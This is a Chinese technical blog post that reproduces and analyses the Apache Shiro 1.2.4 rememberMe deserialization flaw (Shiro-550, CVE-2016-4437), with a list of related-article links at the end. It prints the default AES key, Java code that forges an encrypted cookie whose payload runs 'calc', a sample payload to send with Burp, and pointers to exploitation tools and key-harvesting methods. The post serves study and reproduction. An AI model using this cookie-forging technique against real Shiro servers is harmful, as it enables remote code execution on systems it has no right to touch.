文章目录

  • 影响版本
  • 漏洞原理
  • 手动复现
    • 复现代码
      • pom
      • ShiroConfig
      • UserServiceImpl
    • 复现操作
  • 代码审计
    • 默认密钥kPH+bIxk5D2deZiIxcaaaA==
  • 修复
  • 漏洞检测
  • 探测是否开启rememberMe功能
  • 如何获取/爆破AES密钥?
  • yso链子改造
  • 利用内存马修改key
  • 参考

影响版本

Shiro<=1.2.4

漏洞原理

shiro支持rememberMe功能,通过记录cookie来达到短期免登录效果

开启rememberMe后,用户登录会生成加密cookie

Cookie生成:AES加密->base64加密->返回浏览器rememberMe值
Cookie验证:接受请求rememberMe值->base54解密->AES解密->反序列化

cookie的来源是一串序列化串,验证时调用readObject反序列化,因此只要伪造cookie为序列化payload就能搭配其他组件完成RCE

默认AES密钥是kPH+bIxk5D2deZiIxcaaaA==能够在jar包查到,而手动配置的密钥硬编码在jar包里面也能通过代码审计拿到

手动复现

复现代码

环境修改自上一篇复现越权访问漏洞的笔记

https://ho1aas.blog.csdn.net/article/details/125404334

代码已上传G站

https://github.com/HolaAsuka/Shiro550withSpringboot

pom

修改pom,添加cc4.0来用cc2链子打

        <dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-spring</artifactId><version>1.2.4</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

ShiroConfig

添加cookie处理的bean

    @Beanpublic CookieRememberMeManager rememberMeManager(){CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();cookieRememberMeManager.setCookie(rememberMeCookie());//cookieRememberMeManager.setCipherKey(Base64.decode("xxx"));// 默认是kPH+bIxk5D2deZiIxcaaaA==return cookieRememberMeManager;}@Beanpublic SimpleCookie rememberMeCookie(){SimpleCookie simpleCookie = new SimpleCookie("rememberMe");simpleCookie.setHttpOnly(true);simpleCookie.setPath("/");simpleCookie.setMaxAge(30);return simpleCookie;}

UserServiceImpl

开启rememberMe功能

复现操作

按照正常生成rememberMe字段的方式:序列化->AES加密->Base64加密

package com.example.shirospring.manual;import org.apache.shiro.crypto.AesCipherService;
import java.io.*;
import org.apache.shiro.codec.Base64;public class Shiro550{public static void main(String[] args) throws Exception {Test test = new Test();// 序列化ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(test);// AES加密String key = "kPH+bIxk5D2deZiIxcaaaA==";byte[] byteKey = Base64.decode(key);AesCipherService aesCipherService = new AesCipherService();byte[] ans = aesCipherService.encrypt(baos.toByteArray(), byteKey).getBytes();System.out.println(new String(Base64.encode(ans)));oos.close();}
}class Test implements Serializable{static {try {Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}
}

生成的payload,放到cookie字段,burp发包即可

SyLbV1LwhFXSxjoXzpN1cV1gjv57RVElNq/WDFu5hRAx9YU9gKcIuxaHzcA65FYaT0q659UcnNH1OkevQ11GFATx96pnNjHEc0H7T/P+2tM=

代码审计

登录admin之后,访问secret.html,之前配置过的,要admin才能访问

DefaultSecurityManager.createSbject打上断点,然后进入this.resolvePrincipals()这里是处理cookie的入口

进入getRememberedIdentity()


进入我们定义的Bean CookieRememberMeManager.getRememberedPrincipals()进一步处理


首先对cookie进行base64解码操作,返回byte[],具体细节可以进去查看

然后进入下面的this.convertBytesToPrincipals()


里面有两步操作,首先看decrypt,调用AesCipherService进行解密

默认密钥kPH+bIxk5D2deZiIxcaaaA==

密钥来自于初始化


this.deserialize()判断非空就直接readObject了

没有判断cookie是否合法,因此只要拿到AES密钥就能完成攻击

修复

shiro1.2.5更新必须手动指定aes key,其他不变,因此反序列化流程还是不变,如果开发者设置key为常见值也容易被爆破出来

漏洞检测

利用工具

https://github.com/SummerSec/ShiroAttack2

输入AES密钥,然后配合cc攻击

探测是否开启rememberMe功能

如何获取/爆破AES密钥?

按照参考文章的描述,总共有几种方式:

  • 默认
  • 硬编码,直接反编译拿到
  • 搜集互联网上常见的shiro aes编码,如github搜索setCipherKey(Base64.decode

yso链子改造

https://www.anquanke.com/post/id/192619

利用内存马修改key

https://tttang.com/archive/1457/

参考

https://paper.seebug.org/1503/
https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ
https://www.anquanke.com/post/id/225442
https://su18.org/post/shiro-2/

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/125409939
版权声明:本文为原创,转载时须注明出处及本声明

『Java安全』Shiro1.2.4反序列化漏洞(Shiro-550|CVE-2016-4437)复现与浅析相关推荐

  1. 『Java安全』Tomcat内存马_动态注册Listener内存马

    『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...

  2. 2017-2018-2 165X 『Java程序设计』课程 助教总结

    2017-2018-2 165X 『Java程序设计』课程 助教总结 本学期完成的助教工作主要包括: 编写300道左右测试题,用于蓝墨云课下测试: 发布博客三篇:<2017-2018-2 165 ...

  3. 20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结

    20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址: http://www.cnblogs.com/ ...

  4. java安装 1723_2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段...

    2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段 在一个人孤身奋斗了将近半个学期以后,终于迎来的我们的第一次团队协作共同编码,也就是,我们的第一个结对编程练 ...

  5. [日推荐]『Java学习者』爱学习的程序猿看过来~

    2019独角兽企业重金招聘Python工程师标准>>> 福利时间--今天给程序员大大们推荐一款你们一定会喜欢的小程序,里面有干货哦 Java学习者 **简介:**java学习,Jav ...

  6. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

  7. 『Java安全』XStream 1.4-1.4.61.4.10反序列化漏洞CVE-2013-7285复现与浅析

    文章目录 前言 漏洞简介 影响版本 PoC interface(官方PoC) sorted-set tree-map 漏洞复现 代码审计 | 原理分析 interface 缺点 sorted-set和 ...

  8. 『Java安全』反序列化-CC7反序列化漏洞POP链分析_ysoserial CommonsCollections7 PoC分析

    文章目录 前言 代码复现 工具类 PoC 代码审计 | 原理分析 1. LazyMap.get()调用this.factory.transform() 2. AbstractMap.equals()调 ...

  9. 『Java安全』SnakeYAML反序列化利用基础

    文章目录 前言 YAML基础 依赖 SnakeYAML序列化和反序列化基础 序列化 反序列化 SnakeYAML反序列化利用 原理 PoC 探测-触发dnslog 基于SPI的ScriptEngine ...

最新文章

  1. ECLIPSE 如何导入文件?
  2. 动态加载laydate 失效_弹簧的失效分析与预防技术参考
  3. html中加载shp文件,运用shapefile.js解析Shp文件
  4. git 比较两个版本之间的区别
  5. 我的 Serverless 实战 — 云函数与触发器的创建与使用 ( 开通腾讯云 “ 云开发 “ 服务 | 创建云函数 | 创建触发器 | 测试触发器 )
  6. PS插件cutterman快速切图
  7. 区块链BaaS云服务(14)华大BGI区块链“Baas接口“
  8. 79年后,中国人口将不到10亿,我国的生育率为何上不去了?
  9. ORACLE TEXT DATASTORE PREFERENCE(四)
  10. pytorch学习 训练一个分类器(五)
  11. Java三种随机数生成方法
  12. Mac中docker版本的ElasticSearch和Kibana安装及操作
  13. c/c++教程 - 1.3 关键字、标识符命名规则
  14. php 32位检签,php crc32 计算字符串的 32 位 CRC(循环冗余校验)
  15. H5页面和微信小程序的优劣对比
  16. Typora_Markdown_图片标题(题注)
  17. Android进阶之路——Flurry的使用
  18. 云原生API网关 - 开源项目Hango网关设计与实践
  19. python学习笔记-修改pip下载源-创建虚拟环境
  20. ps怎么设计html界面,APP展示图,教你怎么用PS制作APP的界面图片

热门文章

  1. GitBook生成电子书并发布到GitHub Pages
  2. 香港科技大学(广州)系统枢纽手册
  3. Linux的PS与JPS命令
  4. php自动获取ppt封面图片,帮忙看下,这个程序实现使用office的COM组件将ppt转换为图片...
  5. Python之小游戏(一) 超级玛丽
  6. element-ui表格内容格式化
  7. 线性代数 --- Gram-Schmidt, 格拉姆-施密特正交化(下)
  8. Simulink中示波器图窗编辑设置
  9. 副业做什么比较靠谱有哪些推荐,适合宝妈做的副业分析
  10. php mysqli 添加,php添加mysqli扩展